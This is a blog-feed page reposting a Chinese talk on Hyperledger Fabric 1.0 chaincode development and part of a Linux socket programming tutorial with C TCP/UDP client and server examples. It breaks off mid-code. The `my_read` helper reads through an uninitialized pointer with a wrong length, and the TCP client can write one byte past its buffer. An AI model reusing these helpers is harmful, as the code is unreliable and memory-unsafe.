Quantcast
Channel: CSDN博客推荐文章
Viewing all 35570 articles
Browse latest View live

Hyperledger Fabric Chaincode 开发

$
0
0
好了,进入正题。我今天分享的内容的题目是Fabric1.0 Chaincode介绍。除了介绍Chaincode程序编写、调试的基本方法之外,我还加入了一些有关Chaincode原理的内容,希望能够帮助大家更好地理解Chaincode,进而编写出更加高效的Chaincode程序以及更加快速地调试自己的Chaincode程序。

Page 2

我把内容分成了三个部分。内容包括:在fabric 中Chaincode是什么、如何编写Chaincode程序以及如何调试Chaincode程序。中间会穿插与Chaincode相关的重要概念介绍,以及Chaincode运行原理的介绍。

Page 3

首先是第一部分内容:在fabric中,Chaincode是什么呢?我觉得可以从以下几个方面来理解。

第一,编写Chaincode程序实际上就是要编写一个类,并且这个类要实现fabric预先定义的一个接口。关于这个接口后面第二部分会有更详细的介绍。

第二,如何运行Chaincode程序呢?我们知道blockchain系统是一个网络,由若干结点构成。Fabric区块链系统也不例外,而要运行Chaincode程序,就要把它首先部署到fabric系统的结点上。也就是说,Chaincode程序是依赖于fabric系统结点的。

第三点和第四点可以放在一块来看。对于一个区块链系统来说,显然,区块链其中是最重要的组成部分。右边这个图展示了最基本的区块链结构:首先区块链是由一个一个的区块串接而成,每个区块又是由若干的Transaction构成。所以,可以说Transaction是一个区块链系统中最基本的组成要素。而在Fabric中,Chaincode的运行是生成Transaction的唯一来源,也因此Chaincode是外界与Fabric区块链交互的唯一渠道。由此可见chaincode的重要性。

最后一点讲的是Chaincode与智能合约的关系。相信大家都听说智能合约的概念,简单来讲智能合约就是用程序实现合约的内容,并且这个程序是事件驱动、有状态的。智能合约是早就出现的概念,早于区块链提出。但是,区块链的出现为智能合约的实现提供了一个非常理想的环境。而在Fabric中,Chaincode就是开发者实现智能合约的方式。

Page 4

这一页是在fabric1.0中与Chaincode相关的几个比较重要的概念。

Channel是1.0增加的一个比较大的feature。字面意思,通道。流过通道的数据对于加入该通道的结点是共享的。因此,对于加入同一通道的结点来说,就相当于构建了一条子链。这条子链上的内容对于通道外的结点是不可知的。并且,同一个peer结点可以加入不同channel。而Chaincode的执行是基于channel进行的,在一条channel上chaincode执行的结果会被该channel上所有的结点同步到本地Ledger中。

然后是Endorser、Orderer、Committer,它们是将原来0.6中VP的功能进行拆分后产生的三个角色。

Endorser结点会模拟执行chaincode,这样就相当于把计算任务从consensus结点独立出来,进而减轻了consensus结点的负担,也就可以增加系统吞吐量。同时,比较重要是fabric1.0可以支持endorsement policy,即一个transaction的提交需要哪些endorser进行背书才可通过。这样整个系统的访问控制就更加灵活。

Orderer结点的工作就是consensus。Chaincode在endorser结点处执行之后,会被发送给orderer进行排序或者说consensus,保证transaction的顺序是一致的。然后,orderer结点会把transaction发送给相应的channel中的所有committer结点。
Committer结点会将接收到的transaction写进block。

Page 5

这是fabric1.0对chaincode开发情况的支持。

在开发语言上,支持go和Java两种语言来编写chaincode程序。我下面是以go语言为例来介绍chaincode的编写的。

关于SDK,如果使用vagrant方式搭建自己的fabric开发环境的话,在你的这条路径下,$GOPATH/src/github.com/hyperledger/fabric/core/chaincode/shim,就是chaincode开发的SDK。

Page 6

接下来是第二部分,如何编写Chaincode。

前面提到编写chaincode就是实现一个接口,这里就是那个接口的定义。
可以看到这个接口定义了两个方法,分别具有不同的作用。

首先,Init方法会在Instantiate chaincode时被调用。因此,一般在其中完成一些初始化工作,并且仅被执行一次。

Invoke方法会在Invoke或Query chaincode时被调用。其中的代码可以查询或更新底层的数据,并且可被多次调用。

Page 7

这一页是使用go语言编写chaincode时的一个最基本的框架。

可以看到,最主要的是编写自己的chaincode类,实现刚刚看到的两个方法。然后在main函数中通过API shim.start()来向特定peer结点注册该chaincode。

那么如何使用相关的API呢?两种方式,一种是通过参数stub shim.ChaincodeStubInterface,fabric在该接口中定义了丰富的API;此外,fabric也定义了一些全局的函数可被使用,比如这里的start()函数就是其中之一。

Page 8

那么,先看ChaincodeStub提供了哪些API。我将这些API分成了五大类。

第一大类与state操作相关。通过这些API可以根据key来查询/添加/更新相应的state。这些API提供了单key的读写操作、key字典序范围读取操作、composite key读取操作、底层数据库语法的查询操作等。

第二大类与与参数相关。fabric1.0修改了chaincode接口的定义,需要开发者自己调用API获取传入的参数。注意,传入的参数第一个是函数名称,之后才是相应的函数输入参数。

Page 9

第三大类与Transaction有关,并且这一类都是读操作,读取transaction中各种信息,比如transaction id、timestamp等。

第四类是与chaincode间相互调用有关的一个API。Fabric允许在一个chaincode中根据chaincode name和channel name去调用另一个chaincode。可以看到并没有deploy的API,也就是说,fabric不允许在一个chaincode中去部署新的chaincode。

最后一类也只有一个API,SetEvent。Fabric允许开发者定义自己的event,然后这个event会在transaction写进block时触发,因此开发者就可以自己写相应的event handler程序做一些相关的工作。

Page 10

此外就是一些全局的或辅助的API。

比如刚才看到的Start函数,它向指定的peer结点注册chaincode。

辅助类StateRangeQueryIterator与前面state范围查询的API有关。

关于API的详细说明可以打开这个链接看到。但是上面基于的是最新的fabric实现,所以跟刚才讲的会有很多不同。具体以你使用fabric版本为准。

Page 11

第三部分讲的是如何调试chaincode。

在介绍具体调试步骤之前,我想先介绍一下chaincode运行的基本原理,我觉得这有助于chaincode的开发。

首先,fabric peer结点有两种运行模式。一种是一般模式,在这种模式下chaincode运行在Docker容器中。这也是fabric在production环境下的运行模式。这就相当于给chaincode的运行提供了一个相对隔离的环境,这样整个系统也就更加的健壮。但是在这种模式下,调试过程就变得非常复杂。因为一旦调试过程中发现bug,重新install,然后重新部署。而在这个过程中,install和Docker image的build过程都比较耗时。

所以,针对这个问题,fabric又提供了开发模式。在这种模式下chaincode直接运行在本地,这样chaincode的调试过程就与普通程序的调试过程完全一样,因此开发调试过程就更加容易。
要说明的是,我目前看的fabric1.0的代码对于开发模式的支持还不完备,部署的时候回失败。

Page 12

但是因为开发模式的原理比较容易理解,这里我还是以开发模式为例介绍一下chaincode的运行原理。一般模式下,只需将chaincode的运行放在Docker容器中进行理解。

首先,这个图描述的是开发模式下chaincode注册时的执行过程。

首先,chaincode会向指定的peer结点发送相关信息,比如chaincode name。然后,peer结点会做一些检查,主要是看该chaincode name是否已存在。如果不存在,则注册成功,为其创建相应的handler,然后返回相关信息。此后,chaincode就与peer结点建立起了联系,并且二者始终处于互相监听状态。

Page 13

这个图描述的是开发模式下chaincode Instantiate/invoke/query时的运行过程。

首先,通过CLI或App向指定endorser结点发送Instantiate/invoke/query请求。

endorser接收到请求之后,如果相关chaincode存在,就会将请求发送到chaincode端,并执行相应函数。由于执行过程中,可能涉及到多次的state的读写,而每一次的读写都会涉及到底层db的操作,所以这个过程会涉及到多次与endorser结点的通信。

最后,chaincode执行完毕之后,会发送消息给endorser结点。如果执行成功,endorser结点就会封装执行结果并对其endorse,并把结果返回给CLI/APP端,然后进行ordering。这个图里没有给出ordering和committing的过程。

Page 14

这里给出一般模式下Chaincode的开发调试过程。以fabric chaincode_example02为例,完全本地,并且使用fabric默认配置。我的环境是使用vagrant方式搭建的。
首先,启动orderer结点,运行在solo模式下。

然后,本地启动一个peer结点,指定peer的名称。

然后,install chaincode程序,指定chaincode的名称以及version,它们将用于命名build出来的docker image。默认配置下,需要你的chaincode程序位于GOPATH/src路径下,并且这个命令会将GOPATH/src下的几乎所有文件都打包发送到指定的peer结点。

Page 15

接下来,通过Instantiate命令部署刚刚install的chaincode,同样需要给出chaincode名称和version。channel的名称是可选的,如果省略将默认使用testchainid这个channel,peer启东时会默认加入这个channel。

之后,就可以通过invoke和query命令来调试自己的chaincode程序了。这里同样使用默认的channel testchainid。

Page 16

我的share到此结束,谢谢大家观看

答疑解惑

问:Fabric 1.0中的系统 chaincode 可否简单介绍下?
答:1.0中有五个系统chaincode,分别是lccc/cscc/escc/vscc/qscc,它们在peer启动或创建channel的时候就会部署,并且与peer运行在同一进程中,而不是Docker container中。
lccc是生命周期系统chaincode,用于管理用户chaincode的install、Instantiate等;cscc是配置系统chaincode,与系统配置有关,比如join channel的时候,就是通过cscc来进行的;escc和vscc分别是endorsement系统chaincode和verification系统chaincode,主要是endorser用于对用户chaincode进行相关验证和背书,它们可以在Instantiate chaincode的时候指定,也就是说用户可以根据自己的情况给某个endorser结点设置定制化的escc和vscc;qscc,不好意思我还不太了解,后面研究清楚之后再跟大家分享。

问:Fabric 1.0 调用其他 CHAINCODE 现在支持了吗?
答:1.0 里面是计划支持跨 chaincode 的读操作的。

问:chaincode处理的数据来源可以自己获取吗,比如时间,或者其他服务器的一些数据?
答:理论上 chaincode 就是一个独立运行的可执行程序,它会与远端的endorser 进行通信,所以 chaincode 程序是可以访问外部数据源的。

问:fabric 中每个 block 都有 world state 的 hash,但是这个历史的 world state 存放在什么地方?如何读取指定 block height 的world state?
答:fabric 1.0 中每个 peer 结点会维护四个 db,分别是 id store,存储 chainID;stateDB,存储 world state;versioned DB,存储 key 的版本变化;还有 blockdb,存储 block。

问:请问在chaincode运行原理这块,CLI或App是把请求直接发给endoser节点还是发给install了这个chaincode的peer节点,再由这个peer去与endoser交互呢?
答:实际上是发给了 endorser 结点,这个是在你的调用请求里指定的。

问:chaincode 的 world state 何时被写入?
答:ordering之后,channel 上的所有 peer 都会执行 commiting 操作,即写入stateDB操作。

作者:tiandiwuya 发表于2017/11/13 7:15:39 原文链接
阅读:49 评论:0 查看评论

Linux网络编程入门 (转载)

$
0
0

(一)Linux网络编程--网络知识介绍

Linux网络编程--网络知识介绍
客户端和服务端
        网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.

客户端
        在网络程序中,如果一个程序主动和外面的程序通信,那么我们把这个程序称为客户端程序。 比如我们使用ftp程序从另外一
        个地方获取文件的时候,是我们的ftp程序主动同外面进行通信(获取文件), 所以这个地方我们的ftp程序就是客户端程序。
服务端
        和客户端相对应的程序即为服务端程序。被动的等待外面的程序来和自己通讯的程序称为服务端程序。
        比如上面的文件获取中,另外一个地方的程序就是服务端,我们从服务端获取文件过来。
互为客户和服务端
        实际生活中有些程序是互为服务和客户端。在这种情况项目, 一个程序既为客户端也是服务端。

常用的命令
        由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令
netstat
        命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项.
        我们常用的选项是-na 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况.
telnet
        telnet是一个用来登录远程的程序,但是我们完全可以用这个程序来调试我们的服务端程序的.
        比如我们的服务器程序在监听8888端口,我们可以用
                telnet localhost 8888
        来查看服务端的状况.
pingping 程序用来判断网络的状态是否正常,最经常的一个用法是
        ping 192.168.0.1
        表示我们想查看到192.168.0.1的硬件连接是否正常
TCP/UDP介绍
        TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议, 当我们的网络程序使用这个协议的时候,
        网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

        UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,
        这种协议并不能保证我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的.

 

(二)Linux网络编程--初等网络函数介绍(TCP)

   Linux系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,
   会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的好处.
   我们可以通过向描述符读写操作实现网络之间的数据交流.
(一)socket
 
  int socket(int domain, int type,int protocol)

  domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等).
        AF_UNIX只能够用于单一的Unix 系统进程间通信,
        而AF_INET是针对Internet的,因而可以允许在远程
        主机之间通信(当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为glibc是posix的实现所以用PF代替了AF,
        不过我们都可以使用的).

  type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM等)
        SOCK_STREAM表明我们用的是TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流.
        SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.

  protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket为网络通讯做基本的准备.
  成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.


(二)bind
  int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

  sockfd:是由socket调用返回的文件描述符.

  addrlen:是sockaddr结构的长度.

  my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义

        struct sockaddr{
                unisgned short  as_family;
                char            sa_data[14];
        };

  不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr_in) 来代替.在中有sockaddr_in的定义
        struct sockaddr_in{
                unsigned short          sin_family;    
                unsigned short int      sin_port;
                struct in_addr          sin_addr;
                unsigned char           sin_zero[8];
        }
  我们主要使用Internet所以
        sin_family一般为AF_INET,
        sin_addr设置为INADDR_ANY表示可以和任何的主机通信,
        sin_port是我们要监听的端口号.sin_zero[8]是用来填充的.
  bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和socket一样

(三)listen
  int listen(int sockfd,int backlog)

  sockfd:是bind后的文件描述符.

  backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度.
  listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样.


(四)accept
  int accept(int sockfd, struct sockaddr *addr,int *addrlen)

  sockfd:是listen后的文件描述符.

  addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,listen和accept是服务器端用的函数,
  accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept成功时返回最后的服务器端的文件描述符,
  这个时候服务器端可以向该描述符写信息了. 失败时返回-1

(五)connect
   int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

   sockfd:socket返回的文件描述符.

   serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址

   addrlen:serv_addr的长度

   connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.

(六)实例

服务器端程序

CODE:  [Copy to clipboard]


--------------------------------------------------------------------------------

/******* 服务器程序  (server.c) ************/

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
        int sockfd,new_fd;
        struct sockaddr_in server_addr;
        struct sockaddr_in client_addr;
        int sin_size,portnumber;
        char hello[]="Hello! Are You Fine?\n";
        if(argc!=2)
        {
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
                exit(1);
        }
        if((portnumber=atoi(argv[1]))<0)
        {
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
                exit(1);
        }
        /* 服务器端开始建立socket描述符 */
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)  
        {
                fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
                exit(1);
        }
        /* 服务器端填充 sockaddr结构  */ 
        bzero(&server_addr,sizeof(struct sockaddr_in));
        server_addr.sin_family=AF_INET;
        server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
        server_addr.sin_port=htons(portnumber);
        /* 捆绑sockfd描述符  */ 
        if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
        {
                fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
                exit(1);
        }
        /* 监听sockfd描述符  */
        if(listen(sockfd,5)==-1)
        {
                fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
                exit(1);
        }
        while(1)
        {
                /* 服务器阻塞,直到客户程序建立连接  */
                sin_size=sizeof(struct sockaddr_in);
                if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
                {
                        fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
                        exit(1);
                }
                fprintf(stderr,"Server get connection from %s\n",
                inet_ntoa(client_addr.sin_addr));
                if(write(new_fd,hello,strlen(hello))==-1)
                {
                        fprintf(stderr,"Write Error:%s\n",strerror(errno));
                        exit(1);
                }
                /* 这个通讯已经结束     */
                close(new_fd);
                /* 循环下一个     */  
        }
        close(sockfd);
        exit(0);
}

客户端程序

CODE:  [Copy to clipboard]


--------------------------------------------------------------------------------

/******* 客户端程序  client.c ************/
/******* 客户端程序  client.c ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
        int sockfd;
        char buffer[1024];
        struct sockaddr_in server_addr;
        struct hostent *host;
        int portnumber,nbytes;
        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
                exit(1);
        }
        if((host=gethostbyname(argv[1]))==NULL)
        {
                fprintf(stderr,"Gethostname error\n");
                exit(1);
        }
        if((portnumber=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
                exit(1);
        }
        /* 客户程序开始建立 sockfd描述符  */
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
                exit(1);
        }
        /* 客户程序填充服务端的资料       */
        bzero(&server_addr,sizeof(server_addr));
        server_addr.sin_family=AF_INET;
        server_addr.sin_port=htons(portnumber);
        server_addr.sin_addr=*((struct in_addr *)host->h_addr);
        /* 客户程序发起连接请求         */ 
        if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
        {
                fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
                exit(1);
        }
        /* 连接成功了           */
        if((nbytes=read(sockfd,buffer,1024))==-1)
        {
                fprintf(stderr,"Read Error:%s\n",strerror(errno));
                exit(1);
        }
        buffer[nbytes]='\0';
        printf("I have received:%s\n",buffer);
        /* 结束通讯     */
        close(sockfd);
        exit(0);
}

MakeFile
这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍

CODE:  [Copy to clipboard]

#########  Makefile       ###########
all:server client
server:server.c
        gcc $^ -o $@
client:client.c
        gcc $^ -o $@

运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber& 
        (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),
        然后运行  ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.)
        上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.


(七) 总结
总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是:

服务器端
socket-->bind-->listen-->accept

客户端
socket-->connect

(三)Linux网络编程--3. 服务器和客户机的信息函数


这一章我们来学习转换和网络方面的信息函数.
3.1 字节转换函数
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,
高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数.
unsigned long  int htonl(unsigned long  int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long  int ntohl(unsigned long  int netlong)
unsigned short int ntohs(unsigned short int netshort)

在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long
        第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.

3.2 IP和域名的转换
在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?

struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定义
struct hostent{
        char *h_name;           /* 主机的正式名称  */
        char *h_aliases;        /* 主机的别名 */
        int   h_addrtype;       /* 主机的地址类型  AF_INET*/
        int   h_length;         /* 主机的地址长度  对于IP4 是4字节32位*/
        char **h_addr_list;     /* 主机的IP地址列表 */
        }
  #define h_addr h_addr_list[0]  /* 主机的第一个IP地址*/

gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息
gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.

这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息


3.3 字符串的IP和32位的IP转换.
在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中用的是32位的IP,
我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以使用下面两个函数

int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)

函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的IP,
存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.


3.4 服务信息函数
在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
        {
                char *s_name;          /* 正式服务名 */
                char **s_aliases;      /* 别名列表 */ 
                int s_port;            /* 端口号 */
                char *s_proto;         /* 使用的协议 */
        }

一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到
系统分配的端口号.对于服务端,我们用INADDR_ANY填充后,为了得到连接的IP我们可以在accept调用成功后 使用而得到IP地址.
在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,
相反为了得到端口号可以调用第三个函数.

3.5 一个例子

CODE:  [Copy to clipboard]

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc ,char **argv)
{
        struct sockaddr_in addr;
        struct hostent *host;
        char **alias;
        
        if(argc<2)
        {
         fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
         exit(1);
        }
        
        argv++;
        for(;*argv!=NULL;argv++)
        {
                /* 这里我们假设是IP*/   
                if(inet_aton(*argv,&addr.sin_addr)!=0)
                {
                   host=gethostbyaddr((char   *)&addr.sin_addr,4,AF_INET); 
                   printf("Address information of Ip %s\n",*argv); 
                } 
                else 
                {
                      /* 失败,难道是域名?*/
                      host=gethostbyname(*argv); printf("Address information
                      of host %s\n",*argv); 
                }
                if(host==NULL)
                {
                        /* 都不是 ,算了不找了*/
                        fprintf(stderr,"No address information of %s\n",*argv);
                        continue;
                }
                printf("Official host name %s\n",host->h_name);
                printf("Name aliases:");
                for(alias=host->h_aliases;*alias!=NULL;alias++)
                 printf("%s ,",*alias);
                printf("\nIp address:");
                for(alias=host->h_addr_list;*alias!=NULL;alias++)
                  printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
        }
}

在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet_aton,
失败的时候,再调用gethostbyname而得到信息.

(四)Linux网络编程--4. 完整的读写函数

一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道看成是文件描述符,
这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

4.1 写函数write
ssize_t write(int fd,const void *buf,size_t nbytes)

write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量.
在网络程序中,当我们向套接字文件描述符写时有俩种可能.

        1)write的返回值大于0,表示写了部分或者是全部的数据.

        2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.

如果错误为EINTR表示在写的时候出现了中断错误.
如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).
为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
        /* 开始写*/
        written_bytes=write(fd,ptr,bytes_left);
        if(written_bytes<=0) /* 出错了*/
        {       
                if(errno==EINTR) /* 中断错误 我们继续写*/
                        written_bytes=0;
                else             /* 其他错误 没有办法,只好撤退了*/
                        return(-1);
        }
        bytes_left-=written_bytes;
        ptr+=written_bytes;     /* 从剩下的地方继续写  */
}
return(0);
}

4.2 读函数read
ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时,
read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.
        如果错误为EINTR说明读是由中断引起的,
        如果是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数. 

int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
  
bytes_left=length;
while(bytes_left>0)
{
   bytes_read=read(fd,ptr,bytes_read);
   if(bytes_read<0)
   {
     if(errno==EINTR)
        bytes_read=0;
     else
        return(-1);
   }
   else if(bytes_read==0)
       break;
    bytes_left-=bytes_read;
    ptr+=bytes_read;
}
return(length-bytes_left);
}

4.3 数据的传递
有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式


/*  客户端向服务端写 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/* 服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;   

在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传
递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)


(五)Linux网络编程--5. 用户数据报发送


我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出大部分的基于TCP协议的网络程序了.
现在在 Linux下的大部分程序都是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一
下基于UDP协议的网络程序.

5.1 两个常用的函数
   int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
   int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.
recvfrom负责从 sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,
可以将from和fromlen 设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.


5.2 一个实例

CODE:  [Copy to clipboard]


--------------------------------------------------------------------------------

/*           服务端程序  server.c           */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define SERVER_PORT     8888
#define MAX_MSG_SIZE    1024
void udps_respon(int sockfd)
{
        struct sockaddr_in addr;
        int    n;
                socklen_t addrlen;
        char    msg[MAX_MSG_SIZE];
        
        while(1)
        {       /* 从网络上读,写到网络上面去   */
                                memset(msg, 0, sizeof(msg));
                                addrlen = sizeof(struct sockaddr);
                                n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
                        (struct sockaddr*)&addr,&addrlen);
                /* 显示服务端已经收到了信息  */
                fprintf(stdout,"I have received %s",msg);
                sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
        }
}
int main(void)
{
        int sockfd;
        struct sockaddr_in      addr;
        
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket Error:%s\n",strerror(errno));
                exit(1);
        }
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_addr.s_addr=htonl(INADDR_ANY);
        addr.sin_port=htons(SERVER_PORT);
        if(bind(sockfd,(struct sockaddr *)&addr,sizeof(struct sockaddr_in))<0)
        {
                fprintf(stderr,"Bind Error:%s\n",strerror(errno));
                exit(1);
        }
        udps_respon(sockfd);
        close(sockfd);
}

客户端程序

CODE:  [Copy to clipboard]


--------------------------------------------------------------------------------

/*          客户端程序             */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define MAX_BUF_SIZE    1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,socklen_t len)
{
        char buffer[MAX_BUF_SIZE];
        int n;
        while(fgets(buffer,MAX_BUF_SIZE,stdin))        
        {        /*   从键盘读入,写到服务端   */
                sendto(sockfd,buffer,strlen(buffer),0,addr,len);
                bzero(buffer,MAX_BUF_SIZE);
                /*   从网络上读,写到屏幕上    */
                                memset(buffer, 0, sizeof(buffer));
                n=recvfrom(sockfd,buffer,MAX_BUF_SIZE, 0, NULL, NULL);
                if(n <= 0)
                                {
                                        fprintf(stderr, "Recv Error %s\n", strerror(errno));
                                        return;
                                }
                                buffer[n]=0;
                fprintf(stderr, "get %s", buffer);
        }
}

int main(int argc,char **argv)
{
        int sockfd,port;
        struct sockaddr_in      addr;
        
        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
        
        if((port=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
        
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket  Error:%s\n",strerror(errno));
                exit(1);
        }       
        /*      填充服务端的资料      */
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);
